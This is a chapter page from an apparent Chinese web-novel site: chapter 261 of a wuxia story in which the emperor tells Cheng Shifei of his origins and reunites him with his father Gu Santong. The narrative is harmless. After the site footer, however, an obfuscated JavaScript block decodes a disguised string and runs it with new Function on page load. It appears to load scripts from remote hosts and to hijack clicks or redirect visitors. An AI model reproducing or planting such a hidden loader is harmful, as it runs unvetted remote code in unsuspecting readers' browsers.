首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第261章 父子相认

下载APP,无广告、完整阅读
    市井中人,一身臭毛病,若是不经训练直接带进宫,只会惹出乱子。不如先送到锦衣卫的新人训练营里,磨一磨性子,改一改毛病,学一学规矩。
    更何况,成是非是古三通的儿子,根骨天赋应该不差。让他学点基础武功,对日后也有好处。
    锦衣卫的新人训练营,设在京城西郊的一处山谷中,四面环山,只有一条路进出。营地里有演武场丶练功房丶教室丶宿舍,设施齐全。
    训练期为三个月,内容分为三部分。
    第一部分是规矩。
    锦衣卫是天子亲军,不是江湖草莽。
    新人首先要学的,不是武功,而是规矩。如何行礼,如何说话,如何走路,如何站位,如何汇报情况,每一项都有严格的要求。
    成是非第一天就被罚了十几次。
    站没站相,坐没坐相,说话油嘴滑舌,行礼像猴儿作揖。
    教官是个四十多岁的锦衣卫老手,姓周,面无表情,说话不带一个脏字,却能把人训得抬不起头。
    「成是非,站直了!」
    「是是是……」
    「腰挺起来!下巴收回去!眼睛看前方!」
    「好好好……」
    「再让我看到你驼背,绕着演武场跑十圈。」
    成是非立刻挺直了腰板,像一根标枪。
    第二部分是武功。
    沈清砚前世亲自为锦衣卫编了一套基础内功,名为《玄武心法》,中正平和,循序渐进,适合大多数人修炼。
    外功方面,有拳法丶腿法丶刀法丶轻功等基础课程,由锦衣卫中的高手担任教习。
    后面要是立下大功,还会被赏赐最新版的《先天纯阳功》。
    成是非的根骨确实不错。
    教官教的东西,他学得很快。
    内功心法听一遍就能记住大概,拳脚功夫看两遍就能比划出来。虽然火候还差得远,但这份天赋,已经让教官暗暗点头。
    第三部分是文化。
    锦衣卫不只是武夫,还需要读书识字丶算学地理丶情报分析等能力。成是非小时候没读过书,大字不识几个,这一部分最让他头疼。
    但他不敢偷懒。
    因为教官说了,文化课不及格,不许出师。
    三个月下来,成是非瘦了一圈,也精神了一圈。
    那一身市井混混的油滑之气,被磨去了不少,取而代之的是一种初具规模的沉稳。虽然偶尔还是会冒出一两句不着调的话,但比起刚来时已经好了太多。
    他学会了行礼,学会了规矩,学会了基础的内功心法和拳脚功夫,还认识了百来个常用字,能磕磕绊绊地看公文了。
    三个月后,成是非被带到了锦衣卫衙门。
    他不知道是谁要见他,只知道那是一个大人物。
    衙门后堂,沈清砚已经等了有一会儿了。
    他没有穿龙袍,只穿了一件藏青色的常服,腰系革带,看起来像是一个普通的官员。古三通站在他身后,腰佩长刀,目光沉稳,须发花白,面色蜡黄。
    古三通的表情很平静,但沈清砚注意到,他的手微微握了握刀柄。
    二十年的父子分离,今日终于要见面了。
    虽然还不能相认,但能远远地看一眼,也是好的。
    沈清砚看了他一眼,轻声道:「古前辈,沉住气。」
    古三通点了点头,没有说话,但握刀的手松开了。
    沈清砚让古三通先去隔壁小单间躲起来,免得待会把持不住情绪失态。
    片刻后,脚步声响起。
    一个年轻人被带了进来。
    成是非穿着一身灰蓝色的短褐,头发束得整整齐齐,脸上虽然还有几分痞气,但眼神已经比三个月前清明了许多。
    他走进来的时候,步伐稳健,目不斜视,在堂中站定后,规规矩矩地跪下行礼。
    「小人成是非,叩见大人。」
    声音虽然还有些发紧,但已经不像从前那样油腔滑调了。
    沈清砚看着他,嘴角微微弯起。
    像。
    真像。
    不愧是亲父子。
    古三通站在沈清砚身后,目光落在那张年轻的脸上,一动不动。
    他的嘴唇微微颤了颤,随即咬紧了牙关。
    沈清砚没有急着说话,而是静静地看了成是非片刻,然后缓缓开口。
    「成是非,你知道朕是谁吗?」
    成是非抬起头,愣了一下。
    朕?
    这个自称……
    他的眼睛一下子瞪大了,脸上的表情从困惑变成了震惊,又从震惊变成了惶恐。
    他连忙低下头,额头抵在地面上,声音都有些发抖。
    「皇丶皇上?小人不知皇上驾到,冲撞了皇上,请皇上恕罪!」
    沈清砚笑了笑。
    「起来说话,朕今天找你,不是要治你的罪。」
    成是非战战兢兢地站起身来,低着头,不敢抬眼看。
    沈清砚指了指旁边的椅子。
    「坐。」
    成是非哪里敢坐,连连摆手。
    「小人站着就行,站着就行……」
    沈清砚也不勉强,端起茶盏抿了一口,然后缓缓道。
    「成是非,朕今天来找你,是有件事要告诉你。不过在告诉你之前,朕想先给你讲个故事。」
    成是非一怔,随即点了点头。
    「皇上请讲,小人洗耳恭听。」
    沈清砚放下茶盏,目光穿过窗棂,落在远处的天空上。他的声音不疾不徐,像是在讲述一段尘封已久的往事。
    「很多年前,江湖上有两个年轻人。一个出身皇族,胸怀大志,名叫朱无视。一个天资聪颖,顽皮不羁,名叫古三通。两人年纪相仿,意气相投,结为兄弟,一同闯荡江湖,快意恩仇。」
    「后来,他们听说天池怪侠在雪峰之上留下了两本绝世秘籍,金刚不坏神功和吸功大法。于是两人结伴前往天山,历经千辛万苦,终于找到了那两本秘籍。」
    「金刚不坏神功,练成之后全身金光罩体,刀枪不入,水火不侵。吸功大法,能纳天地万物之气为己用,化正邪刚柔之力为同源。两门神功,各有所长。」
    「朱无视选了吸功大法,古三通选了金刚不坏神功。两人约定,练成之后,再行切磋。」
    沈清砚顿了顿,目光微动。
    沈清砚的声音在寂静的后堂中缓缓回荡,像是从时光深处捞起的一段旧事。
    「可人心难测。」
    他顿了顿,目光沉了下来。
    「朱无视与古三通,本是结义兄弟,一同闯荡江湖,一同寻得秘籍,一同名扬天下。可朱无视的心里,却渐渐长出了一根刺。」
    「那根扎进心窝里的刺,其实是一个女人。」
    沈清砚的声音低了几分。
    「古三通有一个未婚妻,名叫素心。那女子生得极美,性情温柔,与古三通青梅竹马,两小无猜。两人早已定下终身,只等古三通闯出一番名堂,便回老家成亲。」
    「可朱无视见了素心之后,便再也放不下了。」
    「他爱上了古三通的未婚妻。」
    沈清砚的目光微冷。
    「那是他结义兄弟的未婚妻,是他不该动心的人。可情之一字,从来不讲道理。朱无视越是压抑,越是疯狂。他看着古三通与素心出双入对,看着他们相视而笑,看着他们十指相扣,每一次看见,他的心就像被刀割一样。」
    「他开始恨。」
    「恨古三通夺走了本该属于他的一切,名望丶武功丶还有那个女人。」
    「因爱生恨,因恨生妒,因妒生毒。」
    「他终于动了杀机。」
    沈清砚说到这里,停了下来。
    后堂中一片寂静,只有成是非粗重的呼吸声。
    「他先是暗中杀害了八大门派与刑部四大捕头共一百零七人,然后将这一切罪行悉数嫁祸于古三通,令古三通在一夜之间成了武林公敌。」
    沈清砚的声音平静而低沉,像是在讲述一段早已尘封的旧事,没有添油加醋,也没有刻意煽情。
    「一年后,朱无视向古三通下了战书,天山之巅,一决胜负。」
    「古三通接了。」
    「他知道这一战避无可避。他曾经最信任的兄弟要杀他,他只有打败朱无视,才能洗清自己的冤屈。」
    「那一战打了三天三夜。两人旗鼓相当,谁也奈何不了谁。」
    「可就在第三天的黄昏。」
    沈清砚顿了一下。
    「素心来了。」
    成是非的呼吸一窒。
    「她不知从哪里得到的消息,赶到了天山之巅。她不是来助战的,是来劝架的。她不想看到生命中最重要的两个男人自相残杀。」
    「可她来得太不是时候。」
    「那一刻,古三通和朱无视正全力对轰最后一招。两股力量碰撞,天崩地裂。素心就在那时冲进了两人之间。」
    「古三通看到了她,拼尽全力收招。朱无视也看到了她,同样收了招。可两人的招式都已经发出,各自收回了五成,剩下的五成,结结实实地打在了素心身上。」
    「古三通和朱无视都输了半招。那半招,都打在了素心身上。」
    「古三通抱着素心,心如刀绞。他以为是自己害了她,心中满是愧疚。」
    「而朱无视,就趁着他心神大乱的那一刻,出手了。」
    「纯阳指,正中古三通金刚不坏神功的唯一罩门——膻中穴。」
    「古三通的内力瞬间被破,口吐鲜血,倒在了雪地上。」
    沈清砚看着成是非,一字一句地说。
    「古三通输了。不是输在武功,而是输在素心的出现让他分了心,让他露出了破绽。」
    「朱无视将他囚禁在天牢第九层,以石碑为界,令其不得踏出半步。那石碑上刻着三个字——朱无视。」
    「一关,就是二十年。」
    成是非听得入神,眼睛一眨不眨地盯着沈清砚。
    他虽然是个混混,但江湖上的传说也听过一些。不败顽童古三通,铁胆神侯朱无视,这些名字他都不陌生。可他从来不知道,当年的真相竟然是这个样子。
    沈清砚继续道。
    「古三通被囚禁之前,曾与素心同过房。素心怀了古三通的孩子,在古三通离开后,生下了一个男孩。」
    「古三通不知道这件事,他将素心安置在三里镇,然后去闯荡江湖。素心生下孩子后,听说古三通和朱无视要在天山决一死战,便将孩子托付给邻居程欢程大嫂照顾,自己则赶往天山,想要阻止那两个男人。」
    「可她没有成功。」
    沈清砚的声音低了几分。
    「素心被打成重伤,奄奄一息。朱无视取出一颗天香豆蔻给她服下,保住了她最后一口气,但陷入了永久沉睡。朱无视将她冰封于天山玄冰之中,等待找到第二颗和第三颗天香豆蔻,将她救醒。」
    「而那个孩子,素心和古三通的孩子被程欢收养,在三里镇长大。程欢后来化名为兰姑,开了一家染布坊,收养了一些无家可归的孤儿,将那孩子抚养成人。」
    沈清砚说到这里,停了下来,看着成是非。
    成是非的脸色已经变了。
    他的嘴唇微微发抖,眼中满是难以置信。
    他想起自己从小没有父母,是兰姑把他养大的。
    兰姑对他不好不坏,供他吃穿,却从不给他好脸色。他一直以为自己是兰姑收养的孤儿之一,从来没有想过。
    从来没有想过,自己可能是……
    「皇上。」
    成是非的声音有些发颤。
    「您说的那个孩子……他在哪里?」
    沈清砚看着他,目光平静而温和。
    「你觉得呢?」
    成是非的脑子嗡的一声,一片空白。
    他想起了兰姑。想起她从不提起他的身世,想起她看他的眼神里总带着一种说不清的情绪,想起三里镇,想起那家染布坊,想起那些和他一起长大的孤儿。
    他想起自己姓成。
    成——程。
    程欢的程,化名兰姑。
    而成是非的「成」,与「程」同音。
    他不是没有怀疑过。小时候他也问过兰姑,他的爹娘是谁。兰姑每次都说不知道,说他是被人丢在染布坊门口的弃婴。他信了,因为他没有理由不信。
    可现在。
    皇上亲口给他说了这个故事,肯定不是闲的无聊来给他讲故事。
    这么说来,真相就只有一个。
    成是非的腿有些发软,他扶着椅背,慢慢地坐了下去。
    他低着头,沉默了很久。
    然后他抬起头,愣愣地问道。
    「皇上……难道……我就是那个孩子?不败顽童古三通和素心的儿子?」
    他的声音很轻,轻得像是怕惊醒了什么。
    沈清砚看着他,缓缓点了点头。
    「是。」
    一个字,却重若千钧。
    成是非呆住了。
    他张大了嘴,想说什么,却发现自己什么都说不出来。他的脑子里乱成一团,无数的念头涌上来,又潮水般退去。
    不败顽童古三通。
    那是江湖上传说中的人物,武功盖世,天下第一。
    是他的……父亲?
    而他的母亲——素心——被冰封在天山的玄冰之中,沉睡不醒,等待天香豆蔻救命?
    他的父亲——古三通——被囚禁在天牢第九层,暗无天日,一关就是二十年?
    而他——成是非——一个市井混混,一个赌坊里的无赖,竟然是那个人的儿子?
    成是非的眼眶红了。
    他不知道自己为什么想哭。他从来没有见过父母,从来没有感受过父爱母爱,他甚至不知道自己的父母长什么样。可此刻,听到这些,他的心像是被什么东西狠狠揪了一下,疼得他喘不过气来。
    「皇上……」
    他的声音哽咽了。
    「我爹……他还活着吗?」
    沈清砚看着他,目光中带着几分怜惜。
    「活着。」
    成是非的眼泪终于掉了下来。
    他低下头,用袖子胡乱地擦了一把脸,又抬起头,红着眼睛问。
    「他在哪?我能不能……能不能见见他?」
    沈清砚沉默了片刻,然后缓缓开口。
    「他现在就在外面。」
    成是非一怔,还没反应过来,沈清砚已经转身朝门外唤了一声。
    「古前辈,进来吧。」
    门帘掀开,一道身影走了进来。
    藏青色的袍子,腰间佩刀,须发花白,面色蜡黄,目光却亮得惊人。他步伐沉稳,每一步都像是踩在成是非的心口上。
    成是非愣愣地看着这个人。
    他不认识这张脸,可那双眼睛,那双眼睛里的光,让他莫名地想哭。
    「皇上,这是……」
    成是非的声音有些发颤。
    沈清砚看着他,一字一句地说。
    「这就是你爹,古三通。朕亲自从天牢第九层救出来的。」
    成是非的脑子嗡的一声,一片空白。
    他张大了嘴,想说什么,却什么都说不出来。他看着眼前这个须发花白的老人,看着那双亮得惊人的眼睛,看着那与镜中的自己有几分相似的眉眼。
    眼泪,毫无徵兆地涌了出来。
    不是慢慢地流,而是像决了堤的洪水,一下子全都涌了出来。
    他从小就是没爹没娘的孩子。
    兰姑收养了他,却从不给他好脸色。他看着别的孩子骑在父亲脖子上撒娇,看着别的孩子被母亲牵着手去买糖葫芦,他只能站在角落里,咬着嘴唇,把羡慕咽回肚子里。
    他问过兰姑,他的爹娘是谁。
    兰姑说不知道,说他是被人丢在染布坊门口的弃婴。
    他信了。
    因为他没有理由不信。
    后来他长大了,不再问了。他学会了打架,学会了赌钱,学会了用一张油嘴滑舌的脸来掩饰心里那个空荡荡的洞。他告诉自己,一个人也挺好,无牵无挂,自由自在。
    可每当夜深人静的时候,他总会想起那个从未见过的爹娘,想起那个永远填不满的洞。
    而现在,现在,有人告诉他,他有爹了。
    他的爹就站在他面前,活生生地站在他面前。
    不是梦里,不是想像,是真的。
    成是非的腿一软,扑通一声跪在了地上。
    「爹……」
    他的声音沙哑得几乎听不清,眼泪顺着脸颊往下淌,滴在地上,一滴接一滴。
    「爹……您真的是我爹?」
    古三通站在那里,看着跪在面前的年轻人,看着那张与自己年轻时七分相似的面孔,看着那双泪流满面的眼睛。
    他的手在发抖。
    他这辈子,天不怕地不怕,被关在天牢二十年也没有掉过一滴眼泪。可此刻,他的眼眶红了,鼻子酸了,嘴唇剧烈地颤抖着。
    二十年。
    他不知道自己有个儿子。
    他以为素心只是他生命中的一个过客,以为那段感情早已随着他的囚禁而烟消云散。可原来,素心给他留下了一个孩子,一个流落民间二十年的孩子,一个从未见过父亲的苦命孩子。
    「孩子……」
    古三通的声音沙哑得几乎听不出来。他蹲下身,伸出枯瘦的手,颤抖着抚上成是非的脸。
    那手粗糙得像树皮,满是老茧和伤痕。可成是非被那只手摸着,却觉得那是世界上最温暖的手。
    「孩子,对不起……爹不知道……爹不知道有你……」
    古三通的眼泪终于掉了下来。
    他活了大半辈子,从不轻易落泪。可此刻,他控制不住。
    这是他儿子。
    他和素心的儿子。
    那个他从未尽过一天父亲责任的孩子。
    「爹不配当爹……爹让你受苦了……」
    成是非拼命摇头,哭得上气不接下气。
    「不苦……不苦……爹,您还活着就好……我以为……我以为我这辈子都不会有爹了……」
    古三通一把将成是非搂进怀里,抱得紧紧的。
    成是非趴在古三通肩头,放声大哭。
    二十年的委屈,二十年的孤独,二十年的渴望,在这一刻全部化成了眼泪,倾泻而出。
    他从小就是没爹没娘的孩子,被兰姑收养却不受待见,在街头巷尾摸爬滚打,受尽白眼和欺凌。他以为这辈子就这样了,以为他永远都只是个没爹没娘的野孩子。
    可现在,他有了爹。
    他的爹是古三通,是不败顽童,是天下第一的大高手。
    这简直像是做梦一样。
    成是非哭了好一会儿,才渐渐收了声。
    他从古三通怀里抬起头,红着眼睛,鼻涕眼泪糊了一脸,却笑得像个傻子。
    「爹,您真的是古三通?那个不败顽童?」
    古三通看着他,也笑了,眼泪还挂在脸上。
    「如假包换。」
    「金刚不坏神功?刀枪不入?」
    「会。」
    「那我是不是也能学?」
    古三通怔了一下,随即哈哈大笑起来。
    「学!爹教你!爹把一身本事都传给你!」
    成是非破涕为笑,又哭又笑,像个疯子。
    沈清砚站在一旁,静静地看着这一幕,嘴角微微弯起。
    他没有打扰,也没有催促,只是负手而立,目光温和。

一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();